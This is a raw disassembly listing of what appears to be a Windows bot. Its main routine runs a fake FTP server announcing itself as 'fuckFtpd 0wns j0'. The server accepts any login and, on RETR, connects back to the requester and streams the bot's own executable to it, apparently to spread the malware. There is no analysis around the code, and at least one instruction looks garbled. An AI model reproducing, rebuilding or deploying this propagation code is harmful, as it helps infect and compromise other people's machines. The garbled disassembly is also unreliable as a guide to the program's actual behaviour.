		test	eax, eax
		jnz	short loc_4035F2
		mov	eax, offset dword_41F250


loc_4035F2:				; CODE XREF: sub_403577+74j
		mov	[edi+4], eax
		mov	ecx, [ebx+8]
		mov	[edi+8], ecx
		mov	ecx, [ebx+0Ch]
		mov	[edi+0Ch], ecx
		inc	byte ptr [eax-1]
		jmp	short loc_40363C
; ---------------------------------------------------------------------------


loc_403606:				; CODE XREF: sub_403577+4Ej
					; sub_403577+52j ...
		push	1
		push	esi
		mov	ecx, edi
		call	sub_403645
		test	al, al
		jz	short loc_40363C
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_403620
		mov	eax, offset dword_41F250


loc_403620:				; CODE XREF: sub_403577+A2j
		mov	ecx, [ebp+arg_4]
		push	esi
		add	eax, ecx
		push	eax
		push	dword ptr [edi+4]
		call	sub_413690
		mov	eax, [edi+4]
		add	esp, 0Ch
		mov	[edi+8], esi
		and	byte ptr [eax+esi], 0


loc_40363C:				; CODE XREF: sub_403577+4Aj
					; sub_403577+8Dj ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_403577	endp


; =============== S U B	R O U T	I N E =======================================



sub_403645	proc near		; CODE XREF: sub_403053+3Dp
					; sub_4034C7+28p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		jbe	short loc_403657
		call	sub_41DE40


loc_403657:				; CODE XREF: sub_403645+Bj
		mov	ecx, [esi+4]
		xor	edx, edx
		cmp	ecx, edx
		jz	short loc_403680
		mov	al, [ecx-1]
		cmp	al, dl
		jz	short loc_403680
		cmp	al, 0FFh
		jz	short loc_403680
		cmp	edi, edx
		jnz	short loc_4036BB
		dec	al
		push	edx
		mov	[ecx-1], al


loc_403675:				; CODE XREF: sub_403645+47j
		mov	ecx, esi
		call	sub_4036CA


loc_40367C:				; CODE XREF: sub_403645+4Bj
					; sub_403645+52j
		xor	al, al
		jmp	short loc_4036C5
; ---------------------------------------------------------------------------


loc_403680:				; CODE XREF: sub_403645+19j
					; sub_403645+20j ...
		cmp	edi, edx
		jnz	short loc_403699
		cmp	[esp+8+arg_4], dl
		jz	short loc_40368E
		push	1
		jmp	short loc_403675
; ---------------------------------------------------------------------------


loc_40368E:				; CODE XREF: sub_403645+43j
		cmp	ecx, edx
		jz	short loc_40367C
		mov	[esi+8], edx
		mov	[ecx], dl
		jmp	short loc_40367C
; ---------------------------------------------------------------------------


loc_403699:				; CODE XREF: sub_403645+3Dj
		cmp	[esp+8+arg_4], dl
		jz	short loc_4036B6
		mov	eax, [esi+0Ch]
		cmp	eax, 1Fh
		ja	short loc_4036AB
		cmp	eax, edi
		jnb	short loc_4036C3


loc_4036AB:				; CODE XREF: sub_403645+60j
		push	1
		mov	ecx, esi
		call	sub_4036CA
		jmp	short loc_4036BB
; ---------------------------------------------------------------------------


loc_4036B6:				; CODE XREF: sub_403645+58j
		cmp	[esi+0Ch], edi
		jnb	short loc_4036C3


loc_4036BB:				; CODE XREF: sub_403645+28j
					; sub_403645+6Fj
		push	edi
		mov	ecx, esi
		call	sub_4037A2


loc_4036C3:				; CODE XREF: sub_403645+64j
					; sub_403645+74j
		mov	al, 1


loc_4036C5:				; CODE XREF: sub_403645+39j
		pop	edi
		pop	esi
		retn	8
sub_403645	endp


; =============== S U B	R O U T	I N E =======================================



sub_4036CA	proc near		; CODE XREF: sub_403053+1Fp
					; sub_403053+16Ap ...

arg_0		= byte ptr  4

		cmp	[esp+arg_0], 0
		push	esi
		mov	esi, ecx
		jz	short loc_4036F6
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_4036F6
		lea	ecx, [eax-1]
		mov	al, [eax-1]
		test	al, al
		jz	short loc_4036EF
		cmp	al, 0FFh
		jz	short loc_4036EF
		dec	al
		mov	[ecx], al
		jmp	short loc_4036F6
; ---------------------------------------------------------------------------


loc_4036EF:				; CODE XREF: sub_4036CA+19j
					; sub_4036CA+1Dj
		push	ecx
		call	sub_41450F
		pop	ecx


loc_4036F6:				; CODE XREF: sub_4036CA+8j
					; sub_4036CA+Fj ...
		and	dword ptr [esi+4], 0
		and	dword ptr [esi+8], 0
		and	dword ptr [esi+0Ch], 0
		pop	esi
		retn	4
sub_4036CA	endp


; =============== S U B	R O U T	I N E =======================================



sub_403706	proc near		; CODE XREF: sub_4032B0+13Ep
					; sub_40385F+28p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		push	1
		mov	esi, ecx
		push	edi
		call	sub_403645
		test	al, al
		jz	short loc_403734
		push	edi
		push	[esp+0Ch+arg_0]
		push	dword ptr [esi+4]
		call	sub_413690
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_403734:				; CODE XREF: sub_403706+12j
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
sub_403706	endp


; =============== S U B	R O U T	I N E =======================================



sub_40373B	proc near		; CODE XREF: sub_403577+39p
					; sub_403577+45p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, ecx
		cmp	[edi+8], esi
		jnb	short loc_40374E
		call	sub_41E06C


loc_40374E:				; CODE XREF: sub_40373B+Cj
		mov	ecx, edi
		call	sub_40385F
		mov	eax, [edi+8]
		mov	ebx, [esp+0Ch+arg_4]
		sub	eax, esi
		cmp	eax, ebx
		jnb	short loc_403764
		mov	ebx, eax


loc_403764:				; CODE XREF: sub_40373B+25j
		test	ebx, ebx
		jbe	short loc_40379A
		mov	ecx, [edi+4]
		sub	eax, ebx
		add	ecx, esi
		push	eax
		lea	eax, [ecx+ebx]
		push	eax
		push	ecx
		call	sub_414520
		mov	esi, [edi+8]
		add	esp, 0Ch
		sub	esi, ebx
		mov	ecx, edi
		push	0
		push	esi
		call	sub_403645
		test	al, al
		jz	short loc_40379A
		mov	eax, [edi+4]
		mov	[edi+8], esi
		and	byte ptr [esi+eax], 0


loc_40379A:				; CODE XREF: sub_40373B+2Bj
					; sub_40373B+53j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40373B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4037A2	proc near		; CODE XREF: sub_403645+79p
		mov	eax, offset loc_41E31C
		call	sub_4144F0
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		or	edi, 1Fh
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		mov	[ebp-10h], esp
		mov	[ebp-14h], esi
		jbe	short loc_4037C8
		mov	edi, [ebp+8]


loc_4037C8:				; CODE XREF: sub_4037A2+21j
		and	dword ptr [ebp-4], 0
		lea	eax, [edi+2]
		test	eax, eax
		jge	short loc_4037D5
		xor	eax, eax


loc_4037D5:				; CODE XREF: sub_4037A2+2Fj
		push	eax
		call	sub_414855
		pop	ecx
		mov	[ebp+8], eax
		jmp	short loc_403806
; ---------------------------------------------------------------------------


loc_4037E1:				; DATA XREF: seg001:0041FF04o
		mov	eax, [ebp+8]
		mov	[ebp-18h], eax
		add	eax, 2
		test	eax, eax
		jge	short loc_4037F0
		xor	eax, eax


loc_4037F0:				; CODE XREF: sub_4037A2+4Aj
		push	eax
		call	sub_414855
		mov	[ebp+8], eax
		pop	ecx
		mov	eax, offset loc_403800
		retn
; ---------------------------------------------------------------------------


loc_403800:				; DATA XREF: sub_4037A2+58o
		mov	esi, [ebp-14h]
		mov	edi, [ebp-18h]


loc_403806:				; CODE XREF: sub_4037A2+3Dj
		mov	eax, [esi+8]
		test	eax, eax
		jbe	short loc_403824
		cmp	eax, edi
		jbe	short loc_403813
		mov	eax, edi


loc_403813:				; CODE XREF: sub_4037A2+6Dj
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [esi+4]
		inc	eax
		push	eax
		call	sub_413690
		add	esp, 0Ch


loc_403824:				; CODE XREF: sub_4037A2+69j
		mov	ebx, [esi+8]
		push	1
		mov	ecx, esi
		call	sub_4036CA
		mov	eax, [ebp+8]
		inc	eax
		mov	[esi+4], eax
		and	byte ptr [eax-1], 0
		cmp	ebx, edi
		mov	[esi+0Ch], edi
		ja	short loc_403844
		mov	edi, ebx


loc_403844:				; CODE XREF: sub_4037A2+9Ej
		mov	eax, [esi+4]
		mov	ecx, [ebp-0Ch]
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_4037A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_40385F	proc near		; CODE XREF: sub_40373B+15p
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, [edi+4]
		test	esi, esi
		jz	short loc_40388C
		mov	al, [esi-1]
		test	al, al
		jz	short loc_40388C
		cmp	al, 0FFh
		jz	short loc_40388C
		push	1
		call	sub_4036CA
		push	esi
		call	sub_413DB0
		pop	ecx
		push	eax
		push	esi
		mov	ecx, edi
		call	sub_403706


loc_40388C:				; CODE XREF: sub_40385F+9j
					; sub_40385F+10j ...
		pop	edi
		pop	esi
		retn
sub_40385F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40388F	proc near		; DATA XREF: seg002:00421004o
		test	ds:byte_45EAEC,	1
		jnz	short loc_40389F
		or	ds:byte_45EAEC,	1


loc_40389F:				; CODE XREF: sub_40388F+7j
		jmp	$+5
		push	offset nullsub_1
		call	sub_4148D0
		pop	ecx
		retn
sub_40388F	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0A6Ch
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	1
		mov	ecx, 0A9h
		mov	esi, eax
		lea	edi, [ebp-6DCh]
		pop	ebx
		rep movsd
		mov	[eax+2A0h], ebx
		lea	eax, [ebp-0A6Ch]
		xor	edi, edi
		push	eax
		push	101h
		mov	[ebp-28h], ebx
		mov	[ebp-18h], ebx
		mov	[ebp-228h], edi
		mov	[ebp-438h], edi
		call	ds:dword_41F1B4	; WSAStartup
		push	edi
		call	sub_414B64
		push	eax
		call	sub_4135FF
		push	0FA00h
		push	471h
		call	sub_4123FC
		add	esp, 10h
		mov	ds:dword_42E350, eax
		push	edi
		push	ebx
		push	2
		call	ds:dword_41F1D8	; socket
		mov	esi, eax
		lea	eax, [ebp-28h]
		push	4
		push	eax
		push	4
		push	0FFFFh
		push	esi
		mov	[ebp-0Ch], esi
		call	ds:dword_41F1B8	; setsockopt
		lea	eax, [ebp-18h]
		push	eax
		push	8004667Eh
		push	esi
		call	ds:dword_41F1BC	; ioctlsocket
		mov	ax, word ptr ds:dword_42E350
		mov	word ptr [ebp-38h], 2
		push	eax
		mov	[ebp-34h], edi
		call	ds:dword_41F1C0	; ntohs
		mov	[ebp-36h], ax
		lea	eax, [ebp-38h]
		push	10h
		push	eax
		push	esi
		call	ds:dword_41F1C4	; bind
		test	eax, eax
		jge	short loc_403986
		mov	eax, ebx
		jmp	loc_403EAD
; ---------------------------------------------------------------------------


loc_403986:				; CODE XREF: seg000:0040397Dj
		push	0Ah
		push	esi
		call	ds:dword_41F1C8	; listen
		mov	[ebp-228h], ebx
		mov	ebx, ds:dword_41F1DC
		mov	[ebp-224h], esi
		mov	[ebp-4], esi


loc_4039A4:				; CODE XREF: seg000:004039DDj
					; seg000:00403EA5j
		push	41h
		lea	esi, [ebp-228h]
		pop	ecx
		lea	edi, [ebp-438h]
		rep movsd
		xor	esi, esi
		lea	eax, [ebp-438h]
		push	esi
		push	esi
		push	esi
		push	eax
		mov	eax, [ebp-4]
		inc	eax
		push	eax
		call	ds:dword_41F1E0	; select
		cmp	eax, 0FFFFFFFFh
		jz	loc_403EAA
		xor	edi, edi
		cmp	[ebp-4], esi
		mov	[ebp+8], edi
		jl	short loc_4039A4


loc_4039DF:				; CODE XREF: seg000:00403E9Fj
		xor	esi, esi
		push	64h
		lea	eax, [ebp-29Ch]
		push	esi
		push	eax
		call	sub_413630
		push	64h
		lea	eax, [ebp-0ACh]
		push	esi
		push	eax
		call	sub_413630
		add	esp, 18h
		lea	eax, [ebp-438h]
		push	eax
		push	edi
		call	sub_41E196	; __WSAFDIsSet
		test	eax, eax
		jz	loc_403E98
		cmp	edi, [ebp-0Ch]
		jnz	short loc_403A96
		lea	eax, [ebp-24h]
		mov	dword ptr [ebp-24h], 10h
		push	eax
		lea	eax, [ebp-238h]
		push	eax
		push	dword ptr [ebp-0Ch]
		call	ds:dword_41F1CC	; accept
		cmp	eax, 0FFFFFFFFh
		jz	loc_403E98
		xor	ecx, ecx
		cmp	[ebp-228h], esi
		jbe	short loc_403A60
		lea	edx, [ebp-224h]


loc_403A50:				; CODE XREF: seg000:00403A5Ej
		cmp	[edx], eax
		jz	short loc_403A60
		inc	ecx
		add	edx, 4
		cmp	ecx, [ebp-228h]
		jb	short loc_403A50


loc_403A60:				; CODE XREF: seg000:00403A48j
					; seg000:00403A52j
		cmp	ecx, [ebp-228h]
		jnz	short loc_403A7E
		cmp	dword ptr [ebp-228h], 40h
		jnb	short loc_403A7E
		mov	[ebp+ecx*4-224h], eax
		inc	dword ptr [ebp-228h]


loc_403A7E:				; CODE XREF: seg000:00403A66j
					; seg000:00403A6Fj
		cmp	eax, [ebp-4]
		jle	short loc_403A86
		mov	[ebp-4], eax


loc_403A86:				; CODE XREF: seg000:00403A81j
		push	esi
		push	15h
		push	offset a220Fuckftpd0wn ; "220 fuckFtpd 0wns j0\n"
		push	eax
		call	ebx ; dword_41F1DC
		jmp	loc_403E98
; ---------------------------------------------------------------------------


loc_403A96:				; CODE XREF: seg000:00403A1Aj
		push	esi
		lea	eax, [ebp-29Ch]
		push	64h
		push	eax
		push	edi
		call	ds:dword_41F1D0	; recv
		test	eax, eax
		jg	short loc_403AFD
		mov	edx, [ebp-228h]
		xor	ecx, ecx
		cmp	edx, esi
		jbe	short loc_403AF1
		lea	eax, [ebp-224h]


loc_403ABD:				; CODE XREF: seg000:00403AC7j
		cmp	[eax], edi
		jz	short loc_403ACB
		inc	ecx
		add	eax, 4
		cmp	ecx, edx
		jb	short loc_403ABD
		jmp	short loc_403AF1
; ---------------------------------------------------------------------------


loc_403ACB:				; CODE XREF: seg000:00403ABFj
		dec	edx
		cmp	ecx, edx
		jnb	short loc_403AEB
		lea	eax, [ebp+ecx*4-224h]


loc_403AD7:				; CODE XREF: seg000:00403AE9j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	edx, [ebp-228h]
		add	eax, 4
		dec	edx
		cmp	ecx, edx
		jb	short loc_403AD7


loc_403AEB:				; CODE XREF: seg000:00403ACEj
		dec	dword ptr [ebp-228h]


loc_403AF1:				; CODE XREF: seg000:00403AB5j
					; seg000:00403AC9j
		push	edi
		call	ds:dword_41F1D4	; closesocket
		jmp	loc_403E98
; ---------------------------------------------------------------------------


loc_403AFD:				; CODE XREF: seg000:00403AA9j
		lea	eax, [ebp-334h]
		push	eax
		lea	eax, [ebp-0ACh]
		push	eax
		lea	eax, [ebp-29Ch]
		push	offset aSS_1	; "%s %s"
		push	eax
		call	sub_414B30
		lea	eax, [ebp-0ACh]
		push	offset aUser_0	; "USER"
		push	eax
		call	sub_4139D0
		add	esp, 18h
		test	eax, eax
		jnz	short loc_403B41
		push	esi
		push	16h
		push	offset a331PasswordReq ; "331 Password required\n"
		jmp	loc_403E83
; ---------------------------------------------------------------------------


loc_403B41:				; CODE XREF: seg000:00403B32j
		lea	eax, [ebp-0ACh]
		push	offset aPass	; "PASS"
		push	eax
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403B65
		push	esi
		push	14h
		push	offset a230UserLoggedI ; "230 User logged in.\n"
		jmp	loc_403E83
; ---------------------------------------------------------------------------


loc_403B65:				; CODE XREF: seg000:00403B56j
		lea	eax, [ebp-0ACh]
		push	offset aSyst	; "SYST"
		push	eax
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403B89
		push	esi
		push	0Dh
		push	offset a215Fuckftpd ; "215 fuckFtpd\n"
		jmp	loc_403E83
; ---------------------------------------------------------------------------


loc_403B89:				; CODE XREF: seg000:00403B7Aj
		lea	eax, [ebp-0ACh]
		push	offset aRest	; "REST"
		push	eax
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403BAD
		push	esi
		push	10h
		push	offset a350Restarting_ ; "350 Restarting.\n"
		jmp	loc_403E83
; ---------------------------------------------------------------------------


loc_403BAD:				; CODE XREF: seg000:00403B9Ej
		lea	eax, [ebp-0ACh]
		push	offset off_422C84
		push	eax
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403BD1
		push	esi
		push	1Eh
		push	offset a257IsCurrentDi ; "257 \"/\" is current directory.\n"
		jmp	loc_403E83
; ---------------------------------------------------------------------------


loc_403BD1:				; CODE XREF: seg000:00403BC2j
		lea	eax, [ebp-0ACh]
		push	offset aType	; "TYPE"
		push	eax
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403C0C
		lea	eax, [ebp-334h]
		push	offset aA	; "A"
		push	eax
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403C0C
		push	esi
		push	13h
		push	offset a200TypeSetToA_ ; "200 Type set to A.\n"
		jmp	loc_403E83
; ---------------------------------------------------------------------------


loc_403C0C:				; CODE XREF: seg000:00403BE6j
					; seg000:00403BFDj
		lea	eax, [ebp-0ACh]
		push	offset aType	; "TYPE"
		push	eax
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403C47
		lea	eax, [ebp-334h]
		push	offset aI	; "I"
		push	eax
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403C47
		push	esi
		push	13h
		push	offset a200TypeSetToI_ ; "200 Type set to I.\n"
		jmp	loc_403E83
; ---------------------------------------------------------------------------


loc_403C47:				; CODE XREF: seg000:00403C21j
					; seg000:00403C38j
		lea	eax, [ebp-0ACh]
		push	offset aPasv	; "PASV"
		push	eax
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403C95
		push	0Ah
		mov	esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"...
		pop	ecx
		lea	edi, [ebp-124h]
		rep movsd
		push	eax
		lea	eax, [ebp-124h]
		push	eax
		movsw
		call	sub_413DB0
		pop	ecx
		push	eax
		lea	eax, [ebp-124h]


loc_403C85:				; CODE XREF: seg000:00403CD4j
		push	eax
		push	dword ptr [ebp+8]
		call	ebx ; dword_41F1DC
		xor	esi, esi


loc_403C8D:				; CODE XREF: seg000:00403DA4j
		mov	edi, [ebp+8]
		jmp	loc_403E86
; ---------------------------------------------------------------------------


loc_403C95:				; CODE XREF: seg000:00403C5Cj
		lea	eax, [ebp-0ACh]
		push	offset aList	; "LIST"
		push	eax
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403CD6
		push	5
		mov	esi, offset a226TransferCom ; "226 Transfer complete\n"
		pop	ecx
		lea	edi, [ebp-0C4h]
		rep movsd
		movsw
		push	eax
		lea	eax, [ebp-0C4h]
		push	eax
		movsb
		call	sub_413DB0
		pop	ecx
		push	eax
		lea	eax, [ebp-0C4h]
		jmp	short loc_403C85
; ---------------------------------------------------------------------------


loc_403CD6:				; CODE XREF: seg000:00403CAAj
		lea	eax, [ebp-0ACh]
		push	offset aPort	; "PORT"
		push	eax
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_403DA9
		lea	eax, [ebp-2D0h]
		push	eax
		lea	eax, [ebp-0F8h]
		push	eax
		lea	eax, [ebp-20h]
		push	eax
		lea	eax, [ebp-14h]
		push	eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-1Ch]
		push	eax
		lea	eax, [ebp-29Ch]
		push	offset aS	; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
		push	eax
		call	sub_414B30
		lea	eax, [ebp-0F8h]
		push	eax
		call	sub_413B1F
		mov	edi, eax
		lea	eax, [ebp-2D0h]
		push	eax
		call	sub_413B1F
		mov	[ebp-8], eax
		push	32h
		lea	eax, [ebp-0F8h]
		push	esi
		push	eax
		call	sub_413630
		push	dword ptr [ebp-8]
		lea	eax, [ebp-0F8h]
		push	edi
		push	offset aXX	; "%x%x\n"
		push	eax
		call	sub_4135AD
		add	esp, 44h
		lea	eax, [ebp-0F8h]
		push	10h
		push	esi
		push	eax
		call	sub_414B19
		mov	[ebp-8], eax
		lea	eax, [ebp-20h]
		push	eax
		lea	eax, [ebp-14h]
		push	eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-1Ch]
		push	eax
		lea	eax, [ebp-48h]
		push	offset aS_S_S_S	; "%s.%s.%s.%s"
		push	eax
		call	sub_4135AD
		add	esp, 24h
		push	esi
		push	1Dh
		push	offset a200PortCommand ; "200 PORT command successful.\n"
		push	dword ptr [ebp+8]
		call	ebx ; dword_41F1DC
		jmp	loc_403C8D
; ---------------------------------------------------------------------------


loc_403DA9:				; CODE XREF: seg000:00403CEBj
		lea	eax, [ebp-0ACh]
		push	offset aRetr	; "RETR"
		push	eax
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_403E64
		push	esi
		push	28h
		push	offset a150OpeningBina ; "150 Opening BINARY mode data connection"...
		push	edi
		call	ebx ; dword_41F1DC
		push	dword ptr [ebp-8]
		lea	eax, [ebp-48h]
		push	eax
		call	sub_403EB4
		pop	ecx
		cmp	eax, 1
		pop	ecx
		jnz	short loc_403E5A
		call	sub_403F31
		cmp	eax, 1
		jnz	loc_403E86
		push	esi
		push	17h
		push	offset a226TransferC_0 ; "226 Transfer complete.\n"
		push	edi
		call	ebx ; dword_41F1DC
		lea	eax, [ebp-6D8h]
		push	eax
		lea	eax, [ebp-48h]
		push	ds:dword_42E350
		push	eax
		lea	eax, [ebp-8DCh]
		push	offset dword_422AC8
		push	eax
		call	sub_4135AD
		add	esp, 14h
		cmp	[ebp-440h], esi
		jnz	short loc_403E4B
		push	esi
		lea	eax, [ebp-8DCh]
		push	dword ptr [ebp-444h]
		push	eax
		lea	eax, [ebp-4C4h]
		push	eax
		push	dword ptr [ebp-6DCh]
		call	sub_4110B0
		add	esp, 14h


loc_403E4B:				; CODE XREF: seg000:00403E26j
		lea	eax, [ebp-8DCh]
		push	eax
		call	sub_409615
		pop	ecx
		jmp	short loc_403E86
; ---------------------------------------------------------------------------


loc_403E5A:				; CODE XREF: seg000:00403DE0j
		push	esi
		push	20h
		push	offset a425CanTOpenDat ; "425 Can't open data connection.\n"
		jmp	short loc_403E83
; ---------------------------------------------------------------------------


loc_403E64:				; CODE XREF: seg000:00403DBEj
		lea	eax, [ebp-0ACh]
		push	offset aQuit	; "QUIT"
		push	eax
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403E86
		push	esi
		push	1Bh
		push	offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n"


loc_403E83:				; CODE XREF: seg000:00403B3Cj
					; seg000:00403B60j ...
		push	edi
		call	ebx ; dword_41F1DC


loc_403E86:				; CODE XREF: seg000:00403C90j
					; seg000:00403DEAj ...
		push	64h
		lea	eax, [ebp-29Ch]
		push	esi
		push	eax
		call	sub_413630
		add	esp, 0Ch


loc_403E98:				; CODE XREF: seg000:00403A11j
					; seg000:00403A3Aj ...
		inc	edi
		cmp	edi, [ebp-4]
		mov	[ebp+8], edi
		jle	loc_4039DF
		jmp	loc_4039A4
; ---------------------------------------------------------------------------


loc_403EAA:				; CODE XREF: seg000:004039CFj
		push	1
		pop	eax


loc_403EAD:				; CODE XREF: seg000:00403981j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403EB4	proc near		; CODE XREF: seg000:00403DD6p

var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1A0h
		lea	eax, [ebp+var_1A0]
		push	eax
		push	101h
		call	ds:dword_41F1B4	; WSAStartup
		push	0
		push	1
		push	2
		call	ds:dword_41F1D8	; socket
		push	[ebp+arg_0]
		mov	ds:dword_42E34C, eax
		mov	[ebp+var_10], 2
		call	ds:dword_41F1A8	; inet_addr
		push	[ebp+arg_4]
		mov	[ebp+var_C], eax
		call	ds:dword_41F1C0	; ntohs
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ds:dword_42E34C
		call	ds:dword_41F1AC	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_403F2C
		push	ds:dword_42E34C
		call	ds:dword_41F1D4	; closesocket
		call	ds:dword_41F1B0	; WSACleanup
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_403F2C:				; CODE XREF: sub_403EB4+60j
		push	1
		pop	eax
		leave
		retn
sub_403EB4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403F31	proc near		; CODE XREF: seg000:00403DE2p

var_504		= byte ptr -504h
var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	esi
		lea	eax, [ebp+var_104]
		push	104h
		push	eax
		push	0
		call	near ptr 0A70000h
		pusha
		lea	eax, [ebp+var_104]
		push	offset aRb	; "rb"
		push	eax
		call	sub_413CA8
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_403FC8
		test	byte ptr [esi+0Ch], 10h
		jnz	short loc_403FAC
		push	edi
		mov	edi, 400h


loc_403F74:				; CODE XREF: sub_403F31+78j
		push	esi
		push	1
		lea	eax, [ebp+var_504]
		push	edi
		push	eax
		call	sub_414C40
		add	esp, 10h
		lea	eax, [ebp+var_504]
		push	0
		push	edi
		push	eax
		push	ds:dword_42E34C
		call	ds:dword_41F1DC	; send
		push	1
		call	ds:dword_41F058	; Sleep
		test	byte ptr [esi+0Ch], 10h
		jz	short loc_403F74
		pop	edi


loc_403FAC:				; CODE XREF: sub_403F31+3Bj
		push	esi
		call	sub_413C00
		pop	ecx
		push	ds:dword_42E34C
		call	ds:dword_41F1D4	; closesocket
		call	ds:dword_41F1B0	; WSACleanup
		push	1
		pop	eax


loc_403FC8:				; CODE XREF: sub_403F31+35j
		pop	esi
		leave
		retn
sub_403F31	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403FCB	proc near		; DATA XREF: sub_40571E+333o
					; seg000:004103C7o

var_28F0	= byte ptr -28F0h
var_18F0	= byte ptr -18F0h
var_1654	= byte ptr -1654h
var_8F0		= byte ptr -8F0h
var_6F0		= byte ptr -6F0h
var_654		= byte ptr -654h
var_5EC		= dword	ptr -5ECh
var_5E8		= byte ptr -5E8h
var_550		= byte ptr -550h
var_44C		= dword	ptr -44Ch
var_3C8		= byte ptr -3C8h
var_360		= byte ptr -360h
var_2C4		= byte ptr -2C4h
var_25C		= dword	ptr -25Ch
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_23C		= byte ptr -23Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_A4		= dword	ptr -0A4h
var_9C		= byte ptr -9Ch
var_68		= byte ptr -68h
var_34		= byte ptr -34h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 28F0h
		call	sub_413E30
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_5EC]
		push	1
		rep movsd
		pop	esi
		xor	ebx, ebx
		mov	[eax+3ACh], esi
		push	10h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		mov	[ebp+var_14], esi
		call	sub_413630
		add	esp, 0Ch
		mov	[ebp+var_24], 2
		push	[ebp+var_25C]
		call	ds:dword_42F708
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_22], ax
		mov	[ebp+var_20], ebx
		call	ds:dword_42F788
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_C], edi
		jz	loc_4043B6
		mov	eax, [ebp+var_254]
		push	10h
		imul	eax, 234h
		mov	ds:dword_4348A4[eax], edi
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	ds:dword_42F734
		cmp	eax, 0FFFFFFFFh
		jz	loc_4043B6
		push	7FFFFFFFh
		push	edi
		call	ds:dword_42F730
		cmp	eax, 0FFFFFFFFh
		jz	loc_4043B6
		lea	eax, [ebp+var_14]
		push	eax
		push	8004667Eh
		push	edi
		call	ds:dword_42F7A4
		cmp	eax, 0FFFFFFFFh
		jz	loc_4043B6
		mov	ebx, esi
		mov	[ebp+var_134], edi
		mov	[ebp+var_138], ebx
		mov	[ebp+var_8], edi


